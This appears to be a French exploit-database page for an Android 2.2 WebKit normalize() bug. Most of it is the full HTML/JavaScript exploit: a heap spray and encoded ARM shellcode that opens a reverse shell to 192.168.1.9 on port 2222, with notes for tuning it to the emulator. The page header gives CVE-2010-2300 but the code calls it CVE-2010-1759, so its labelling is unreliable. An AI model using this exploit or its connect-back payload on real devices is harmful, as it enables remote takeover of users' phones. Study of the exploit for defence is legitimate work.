Exploit matérialisé
CVE-2010-2300
1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
remote android
Source
Webkit Normalize Bug - Android 2.2
Par MJ Keith
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code html
<!--
CVE-2010-1759 webkit normalize bug
Tested on
Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :)
2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone
Author: MJ Keith mjkeith[at]evilhippie.org
-->
<p>LOADING... </p>
<div id="test1"></div>
<div id="test2"></div>
<div id="test3"></div>
<script>
var elem1 = document.getElementById("test1");
var elem2 = document.getElementById("test2");
var elem3 = document.getElementById("test3");
function spray()
{
for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR
var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR
shell += unescape("\u2000\u2000"); // Port = 2222
do
{
scode += scode;
scode2 += scode2;
} while (scode.length<=0x1000);
scode2 += shell
target = new Array();
for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR
if (i<100){ target[i] = scode;}
if (i>100){ target[i] = scode2;}
document.write(target[i]);
document.write("<br />");
if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR
document.write("<br />");}
}
}
function handler1()
{
elem1.removeAttribute("b");
spray();
}
function handler2()
{
elem2.removeAttribute("b");
spray();
}
function handler3()
{
elem3.removeAttribute("b");
spray();
}
function slowdown()
{
for (var i = 0; i < 120; i++) { console.log('slow' + i);
if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize();
}
}
}
elem1.setAttribute("b", "a");
elem1.attributes[0].appendChild(document.createTextNode("hi"));
elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR
//elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR
document.body.offsetTop;
elem2.setAttribute("b", "a");
elem2.attributes[0].appendChild(document.createTextNode("hi"));
elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
elem2.normalize();
elem3.setAttribute("b", "a");
elem3.attributes[0].appendChild(document.createTextNode("hi"));
elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false);
document.body.offsetTop;
elem3.normalize();
</script>